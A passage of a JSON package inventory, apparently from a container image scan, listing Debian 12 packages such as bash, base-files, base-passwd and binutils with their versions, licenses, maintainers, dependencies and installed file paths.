"/usr/share/man/pt/man8/apt-key.8.gz", "/usr/share/man/pt/man8/apt-mark.8.gz", "/usr/share/man/pt/man8/apt-secure.8.gz", "/usr/share/man/pt/man8/apt.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "at-spi2-common@2.46.0-5", "Name": "at-spi2-common", "Identifier": { "PURL": "pkg:deb/debian/at-spi2-common@2.46.0-5?arch=all\u0026distro=debian-12.13", "UID": "8dbdb8393df09385" }, "Version": "2.46.0", "Release": "5", "Arch": "all", "SrcName": "at-spi2-core", "SrcVersion": "2.46.0", "SrcRelease": "5", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-or-later", "AFL-2.1", "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian Accessibility Team \u003cpkg-a11y-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/at-spi2-common/changelog.Debian.gz", "/usr/share/doc/at-spi2-common/copyright", "/usr/share/locale/ab/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/af/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/am/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/an/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ar/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/as/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ast/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/az/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/be/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/be@latin/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/bg/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/bn/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/bn_IN/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/bs/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ca/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ca@valencia/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ckb/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/cs/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/cy/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/da/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/de/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/dz/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/el/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/en@shaw/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/en_CA/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/en_GB/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/eo/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/es/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/et/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/eu/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/fa/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/fi/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/fr/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/fur/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ga/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/gd/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/gl/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/gu/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/he/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/hi/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/hr/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/hu/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/hy/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/id/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/is/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/it/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ja/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ka/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/kk/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/km/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/kn/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ko/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ku/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/li/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/lt/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/lv/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/mai/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/mk/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ml/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/mn/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/mr/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ms/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/nb/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ne/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/nl/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/nn/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/oc/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/or/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/pa/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/pl/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ps/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/pt/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ro/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ru/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/rw/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/si/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sk/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sl/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sq/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sr/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sr@ije/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sr@latin/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/sv/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ta/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/te/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/tg/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/th/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/tk/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/tr/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/tt/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/ug/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/uk/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/uz@cyrillic/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/vi/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/wa/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/xh/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/yi/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/zh_HK/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/at-spi2-core.mo", "/usr/share/locale/zu/LC_MESSAGES/at-spi2-core.mo" ], "AnalyzedBy": "dpkg" }, { "ID": "base-files@12.4+deb12u13", "Name": "base-files", "Identifier": { "PURL": "pkg:deb/debian/base-files@12.4%2Bdeb12u13?arch=amd64\u0026distro=debian-12.13", "UID": "58e50684dd52faa2" }, "Version": "12.4+deb12u13", "Arch": "amd64", "SrcName": "base-files", "SrcVersion": "12.4+deb12u13", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Santiago Vila \u003csanvila@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/os-release", "/usr/share/base-files/dot.bashrc", "/usr/share/base-files/dot.profile", "/usr/share/base-files/dot.profile.md5sums", "/usr/share/base-files/info.dir", "/usr/share/base-files/motd", "/usr/share/base-files/profile", "/usr/share/base-files/profile.md5sums", "/usr/share/base-files/staff-group-for-usr-local", "/usr/share/common-licenses/Apache-2.0", "/usr/share/common-licenses/Artistic", "/usr/share/common-licenses/BSD", "/usr/share/common-licenses/CC0-1.0", "/usr/share/common-licenses/GFDL-1.2", "/usr/share/common-licenses/GFDL-1.3", "/usr/share/common-licenses/GPL-1", "/usr/share/common-licenses/GPL-2", "/usr/share/common-licenses/GPL-3", "/usr/share/common-licenses/LGPL-2", "/usr/share/common-licenses/LGPL-2.1", "/usr/share/common-licenses/LGPL-3", "/usr/share/common-licenses/MPL-1.1", "/usr/share/common-licenses/MPL-2.0", "/usr/share/doc/base-files/README", "/usr/share/doc/base-files/README.FHS", "/usr/share/doc/base-files/changelog.gz", "/usr/share/doc/base-files/copyright", "/usr/share/lintian/overrides/base-files" ], "AnalyzedBy": "dpkg" }, { "ID": "base-passwd@3.6.1", "Name": "base-passwd", "Identifier": { "PURL": "pkg:deb/debian/base-passwd@3.6.1?arch=amd64\u0026distro=debian-12.13", "UID": "cd1f4bf8e2aee71e" }, "Version": "3.6.1", "Arch": "amd64", "SrcName": "base-passwd", "SrcVersion": "3.6.1", "Licenses": [ "GPL-2.0-only", "public-domain" ], "Maintainer": "Colin Watson \u003ccjwatson@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdebconfclient0@0.270", "libselinux1@3.4-1+b6" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/sbin/update-passwd", "/usr/share/base-passwd/group.master", "/usr/share/base-passwd/passwd.master", "/usr/share/doc-base/base-passwd.users-and-groups", "/usr/share/doc/base-passwd/README", "/usr/share/doc/base-passwd/changelog.gz", "/usr/share/doc/base-passwd/copyright", "/usr/share/doc/base-passwd/users-and-groups.html", "/usr/share/doc/base-passwd/users-and-groups.txt.gz", "/usr/share/lintian/overrides/base-passwd", "/usr/share/man/de/man8/update-passwd.8.gz", "/usr/share/man/es/man8/update-passwd.8.gz", "/usr/share/man/fr/man8/update-passwd.8.gz", "/usr/share/man/ja/man8/update-passwd.8.gz", "/usr/share/man/man8/update-passwd.8.gz", "/usr/share/man/pl/man8/update-passwd.8.gz", "/usr/share/man/ru/man8/update-passwd.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "bash@5.2.15-2+b10", "Name": "bash", "Identifier": { "PURL": "pkg:deb/debian/bash@5.2.15-2%2Bb10?arch=amd64\u0026distro=debian-12.13", "UID": "ed67211e8f9b9df0" }, "Version": "5.2.15", "Release": "2+b10", "Arch": "amd64", "SrcName": "bash", "SrcVersion": "5.2.15", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-3+ with Bison exception", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only", "Latex2e", "BSD-4-Clause-UC", "MIT", "permissive" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "base-files@12.4+deb12u13", "debianutils@5.7-0.5~deb12u1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/bash", "/usr/bin/bashbug", "/usr/bin/clear_console", "/usr/share/debianutils/shells.d/bash", "/usr/share/doc/bash/CHANGES.gz", "/usr/share/doc/bash/COMPAT.gz", "/usr/share/doc/bash/INTRO.gz", "/usr/share/doc/bash/NEWS.gz", "/usr/share/doc/bash/POSIX.gz", "/usr/share/doc/bash/RBASH", "/usr/share/doc/bash/README.Debian.gz", "/usr/share/doc/bash/README.abs-guide", "/usr/share/doc/bash/README.commands.gz", "/usr/share/doc/bash/README.gz", "/usr/share/doc/bash/changelog.Debian.amd64.gz", "/usr/share/doc/bash/changelog.Debian.gz", "/usr/share/doc/bash/changelog.gz", "/usr/share/doc/bash/copyright", "/usr/share/doc/bash/inputrc.arrows", "/usr/share/lintian/overrides/bash", "/usr/share/locale/af/LC_MESSAGES/bash.mo", "/usr/share/locale/bg/LC_MESSAGES/bash.mo", "/usr/share/locale/ca/LC_MESSAGES/bash.mo", "/usr/share/locale/cs/LC_MESSAGES/bash.mo", "/usr/share/locale/da/LC_MESSAGES/bash.mo", "/usr/share/locale/de/LC_MESSAGES/bash.mo", "/usr/share/locale/el/LC_MESSAGES/bash.mo", "/usr/share/locale/en@boldquot/LC_MESSAGES/bash.mo", "/usr/share/locale/en@quot/LC_MESSAGES/bash.mo", "/usr/share/locale/eo/LC_MESSAGES/bash.mo", "/usr/share/locale/es/LC_MESSAGES/bash.mo", "/usr/share/locale/et/LC_MESSAGES/bash.mo", "/usr/share/locale/fi/LC_MESSAGES/bash.mo", "/usr/share/locale/fr/LC_MESSAGES/bash.mo", "/usr/share/locale/ga/LC_MESSAGES/bash.mo", "/usr/share/locale/gl/LC_MESSAGES/bash.mo", "/usr/share/locale/hr/LC_MESSAGES/bash.mo", "/usr/share/locale/hu/LC_MESSAGES/bash.mo", "/usr/share/locale/id/LC_MESSAGES/bash.mo", "/usr/share/locale/it/LC_MESSAGES/bash.mo", "/usr/share/locale/ja/LC_MESSAGES/bash.mo", "/usr/share/locale/ko/LC_MESSAGES/bash.mo", "/usr/share/locale/lt/LC_MESSAGES/bash.mo", "/usr/share/locale/nb/LC_MESSAGES/bash.mo", "/usr/share/locale/nl/LC_MESSAGES/bash.mo", "/usr/share/locale/pl/LC_MESSAGES/bash.mo", "/usr/share/locale/pt/LC_MESSAGES/bash.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/bash.mo", "/usr/share/locale/ro/LC_MESSAGES/bash.mo", "/usr/share/locale/ru/LC_MESSAGES/bash.mo", "/usr/share/locale/sk/LC_MESSAGES/bash.mo", "/usr/share/locale/sl/LC_MESSAGES/bash.mo", "/usr/share/locale/sr/LC_MESSAGES/bash.mo", "/usr/share/locale/sv/LC_MESSAGES/bash.mo", "/usr/share/locale/tr/LC_MESSAGES/bash.mo", "/usr/share/locale/uk/LC_MESSAGES/bash.mo", "/usr/share/locale/vi/LC_MESSAGES/bash.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/bash.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/bash.mo", "/usr/share/man/man1/bash.1.gz", "/usr/share/man/man1/bashbug.1.gz", "/usr/share/man/man1/clear_console.1.gz", "/usr/share/man/man1/rbash.1.gz", "/usr/share/man/man7/bash-builtins.7.gz", "/usr/share/menu/bash" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils@2.40-2", "Name": "binutils", "Identifier": { "PURL": "pkg:deb/debian/binutils@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "9fcfcbd987830f44" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.40-2", "binutils-x86-64-linux-gnu@2.40-2", "libbinutils@2.40-2" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/bug/binutils/presubj", "/usr/share/doc/binutils/changelog.Debian.gz", "/usr/share/doc/binutils/copyright", "/usr/share/lintian/overrides/binutils" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils-common@2.40-2", "Name": "binutils-common", "Identifier": { "PURL": "pkg:deb/debian/binutils-common@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "c55feffefd565f66" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/etc/gprofng.rc", "/usr/share/doc/binutils-common/changelog.Debian.gz", "/usr/share/doc/binutils-common/copyright", "/usr/share/doc/binutils/NEWS.gz", "/usr/share/doc/binutils/README.cross.gz", "/usr/share/doc/binutils/bfd/ChangeLog.gz", "/usr/share/doc/binutils/bfd/PORTING.gz", "/usr/share/doc/binutils/bfd/TODO.gz", "/usr/share/doc/binutils/changelog.gz", "/usr/share/doc/binutils/gas/ChangeLog.gz", "/usr/share/doc/binutils/gas/NEWS.gz", "/usr/share/doc/binutils/gprof/ChangeLog.gz", "/usr/share/doc/binutils/gprof/TEST.gz", "/usr/share/doc/binutils/gprof/TODO.gz", "/usr/share/doc/binutils/gprof/bbconv.pl", "/usr/share/doc/binutils/ld/ChangeLog.gz", "/usr/share/doc/binutils/ld/NEWS.gz", "/usr/share/doc/binutils/ld/TODO.gz", "/usr/share/lintian/overrides/binutils-common", "/usr/share/locale/bg/LC_MESSAGES/binutils.mo", "/usr/share/locale/bg/LC_MESSAGES/gprof.mo", "/usr/share/locale/bg/LC_MESSAGES/ld.mo", "/usr/share/locale/ca/LC_MESSAGES/binutils.mo", "/usr/share/locale/da/LC_MESSAGES/bfd.mo", "/usr/share/locale/da/LC_MESSAGES/binutils.mo", "/usr/share/locale/da/LC_MESSAGES/gprof.mo", "/usr/share/locale/da/LC_MESSAGES/ld.mo", "/usr/share/locale/da/LC_MESSAGES/opcodes.mo", "/usr/share/locale/de/LC_MESSAGES/gprof.mo", "/usr/share/locale/de/LC_MESSAGES/ld.mo", "/usr/share/locale/de/LC_MESSAGES/opcodes.mo", "/usr/share/locale/eo/LC_MESSAGES/gprof.mo", "/usr/share/locale/es/LC_MESSAGES/bfd.mo", "/usr/share/locale/es/LC_MESSAGES/binutils.mo", "/usr/share/locale/es/LC_MESSAGES/gas.mo", "/usr/share/locale/es/LC_MESSAGES/gold.mo", "/usr/share/locale/es/LC_MESSAGES/gprof.mo", "/usr/share/locale/es/LC_MESSAGES/ld.mo", "/usr/share/locale/es/LC_MESSAGES/opcodes.mo", "/usr/share/locale/fi/LC_MESSAGES/bfd.mo", "/usr/share/locale/fi/LC_MESSAGES/binutils.mo", "/usr/share/locale/fi/LC_MESSAGES/gas.mo", "/usr/share/locale/fi/LC_MESSAGES/gold.mo", "/usr/share/locale/fi/LC_MESSAGES/gprof.mo", "/usr/share/locale/fi/LC_MESSAGES/ld.mo", "/usr/share/locale/fi/LC_MESSAGES/opcodes.mo", "/usr/share/locale/fr/LC_MESSAGES/bfd.mo", "/usr/share/locale/fr/LC_MESSAGES/binutils.mo", "/usr/share/locale/fr/LC_MESSAGES/gas.mo", "/usr/share/locale/fr/LC_MESSAGES/gold.mo", "/usr/share/locale/fr/LC_MESSAGES/gprof.mo", "/usr/share/locale/fr/LC_MESSAGES/ld.mo", "/usr/share/locale/fr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ga/LC_MESSAGES/gprof.mo", "/usr/share/locale/ga/LC_MESSAGES/ld.mo", "/usr/share/locale/ga/LC_MESSAGES/opcodes.mo", "/usr/share/locale/hr/LC_MESSAGES/bfd.mo", "/usr/share/locale/hr/LC_MESSAGES/binutils.mo", "/usr/share/locale/hu/LC_MESSAGES/gprof.mo", "/usr/share/locale/id/LC_MESSAGES/bfd.mo", "/usr/share/locale/id/LC_MESSAGES/binutils.mo", "/usr/share/locale/id/LC_MESSAGES/gas.mo", "/usr/share/locale/id/LC_MESSAGES/gold.mo", "/usr/share/locale/id/LC_MESSAGES/gprof.mo", "/usr/share/locale/id/LC_MESSAGES/ld.mo", "/usr/share/locale/id/LC_MESSAGES/opcodes.mo", "/usr/share/locale/it/LC_MESSAGES/binutils.mo", "/usr/share/locale/it/LC_MESSAGES/gold.mo", "/usr/share/locale/it/LC_MESSAGES/gprof.mo", "/usr/share/locale/it/LC_MESSAGES/ld.mo", "/usr/share/locale/it/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ja/LC_MESSAGES/bfd.mo", "/usr/share/locale/ja/LC_MESSAGES/binutils.mo", "/usr/share/locale/ja/LC_MESSAGES/gas.mo", "/usr/share/locale/ja/LC_MESSAGES/gold.mo", "/usr/share/locale/ja/LC_MESSAGES/gprof.mo", "/usr/share/locale/ja/LC_MESSAGES/ld.mo", "/usr/share/locale/ka/LC_MESSAGES/gprof.mo", "/usr/share/locale/ms/LC_MESSAGES/gprof.mo", "/usr/share/locale/nl/LC_MESSAGES/gprof.mo", "/usr/share/locale/nl/LC_MESSAGES/opcodes.mo", "/usr/share/locale/pt/LC_MESSAGES/bfd.mo", "/usr/share/locale/pt/LC_MESSAGES/binutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/gprof.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/ld.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ro/LC_MESSAGES/bfd.mo", "/usr/share/locale/ro/LC_MESSAGES/binutils.mo", "/usr/share/locale/ro/LC_MESSAGES/gold.mo", "/usr/share/locale/ro/LC_MESSAGES/gprof.mo", "/usr/share/locale/ro/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ru/LC_MESSAGES/bfd.mo", "/usr/share/locale/ru/LC_MESSAGES/binutils.mo", "/usr/share/locale/ru/LC_MESSAGES/gas.mo", "/usr/share/locale/ru/LC_MESSAGES/gprof.mo", "/usr/share/locale/ru/LC_MESSAGES/ld.mo", "/usr/share/locale/rw/LC_MESSAGES/bfd.mo", "/usr/share/locale/rw/LC_MESSAGES/binutils.mo", "/usr/share/locale/rw/LC_MESSAGES/gas.mo", "/usr/share/locale/rw/LC_MESSAGES/gprof.mo", "/usr/share/locale/sk/LC_MESSAGES/binutils.mo", "/usr/share/locale/sr/LC_MESSAGES/bfd.mo", "/usr/share/locale/sr/LC_MESSAGES/binutils.mo", "/usr/share/locale/sr/LC_MESSAGES/gold.mo", "/usr/share/locale/sr/LC_MESSAGES/gprof.mo", "/usr/share/locale/sr/LC_MESSAGES/ld.mo", "/usr/share/locale/sr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/sv/LC_MESSAGES/bfd.mo", "/usr/share/locale/sv/LC_MESSAGES/binutils.mo", "/usr/share/locale/sv/LC_MESSAGES/gas.mo", "/usr/share/locale/sv/LC_MESSAGES/gold.mo", "/usr/share/locale/sv/LC_MESSAGES/gprof.mo", "/usr/share/locale/sv/LC_MESSAGES/ld.mo", "/usr/share/locale/sv/LC_MESSAGES/opcodes.mo", "/usr/share/locale/tr/LC_MESSAGES/bfd.mo", "/usr/share/locale/tr/LC_MESSAGES/binutils.mo", "/usr/share/locale/tr/LC_MESSAGES/gas.mo", "/usr/share/locale/tr/LC_MESSAGES/gprof.mo", "/usr/share/locale/tr/LC_MESSAGES/ld.mo", "/usr/share/locale/tr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/uk/LC_MESSAGES/bfd.mo", "/usr/share/locale/uk/LC_MESSAGES/binutils.mo", "/usr/share/locale/uk/LC_MESSAGES/gas.mo", "/usr/share/locale/uk/LC_MESSAGES/gold.mo", "/usr/share/locale/uk/LC_MESSAGES/gprof.mo", "/usr/share/locale/uk/LC_MESSAGES/ld.mo", "/usr/share/locale/uk/LC_MESSAGES/opcodes.mo", "/usr/share/locale/vi/LC_MESSAGES/bfd.mo", "/usr/share/locale/vi/LC_MESSAGES/binutils.mo", "/usr/share/locale/vi/LC_MESSAGES/gold.mo", "/usr/share/locale/vi/LC_MESSAGES/gprof.mo", "/usr/share/locale/vi/LC_MESSAGES/ld.mo", "/usr/share/locale/vi/LC_MESSAGES/opcodes.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/bfd.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/binutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/gas.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/gold.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/ld.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/opcodes.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/binutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/ld.mo", "/usr/share/man/man1/addr2line.1.gz", "/usr/share/man/man1/ar.1.gz", "/usr/share/man/man1/as.1.gz", "/usr/share/man/man1/c++filt.1.gz", "/usr/share/man/man1/dwp.1.gz", "/usr/share/man/man1/elfedit.1.gz", "/usr/share/man/man1/gp-archive.1.gz", "/usr/share/man/man1/gp-collect-app.1.gz", "/usr/share/man/man1/gp-display-html.1.gz", "/usr/share/man/man1/gp-display-src.1.gz", "/usr/share/man/man1/gp-display-text.1.gz", "/usr/share/man/man1/gprof.1.gz", "/usr/share/man/man1/gprofng.1.gz", "/usr/share/man/man1/ld.bfd.1.gz", "/usr/share/man/man1/ld.gold.1.gz", "/usr/share/man/man1/nm.1.gz", "/usr/share/man/man1/objcopy.1.gz", "/usr/share/man/man1/objdump.1.gz", "/usr/share/man/man1/ranlib.1.gz", "/usr/share/man/man1/readelf.1.gz", "/usr/share/man/man1/size.1.gz", "/usr/share/man/man1/strings.1.gz", "/usr/share/man/man1/strip.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils-x86-64-linux-gnu@2.40-2", "Name": "binutils-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/binutils-x86-64-linux-gnu@2.40-2?arch=amd64\u0026distro=debian-12.13", "UID": "487d61c56fc3129a" }, "Version": "2.40", "Release": "2", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.40", "SrcRelease": "2", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.40-2", "libbinutils@2.40-2", "libc6@2.36-9+deb12u13", "libctf-nobfd0@2.40-2", "libctf0@2.40-2", "libgcc-s1@12.2.0-14+deb12u1", "libgprofng0@2.40-2", "libjansson4@2.14-2", "libstdc++6@12.2.0-14+deb12u1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-addr2line", "/usr/bin/x86_64-linux-gnu-ar", "/usr/bin/x86_64-linux-gnu-as", "/usr/bin/x86_64-linux-gnu-c++filt", "/usr/bin/x86_64-linux-gnu-dwp", "/usr/bin/x86_64-linux-gnu-elfedit", "/usr/bin/x86_64-linux-gnu-gp-archive", "/usr/bin/x86_64-linux-gnu-gp-collect-app", "/usr/bin/x86_64-linux-gnu-gp-display-html", "/usr/bin/x86_64-linux-gnu-gp-display-src", "/usr/bin/x86_64-linux-gnu-gp-display-text", "/usr/bin/x86_64-linux-gnu-gprof", "/usr/bin/x86_64-linux-gnu-gprofng", "/usr/bin/x86_64-linux-gnu-ld.bfd", "/usr/bin/x86_64-linux-gnu-ld.gold", "/usr/bin/x86_64-linux-gnu-nm", "/usr/bin/x86_64-linux-gnu-objcopy", "/usr/bin/x86_64-linux-gnu-objdump", "/usr/bin/x86_64-linux-gnu-ranlib", "/usr/bin/x86_64-linux-gnu-readelf", "/usr/bin/x86_64-linux-gnu-size", "/usr/bin/x86_64-linux-gnu-strings", "/usr/bin/x86_64-linux-gnu-strip", "/usr/lib/x86_64-linux-gnu/bfd-plugins/libdep.so", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsc", 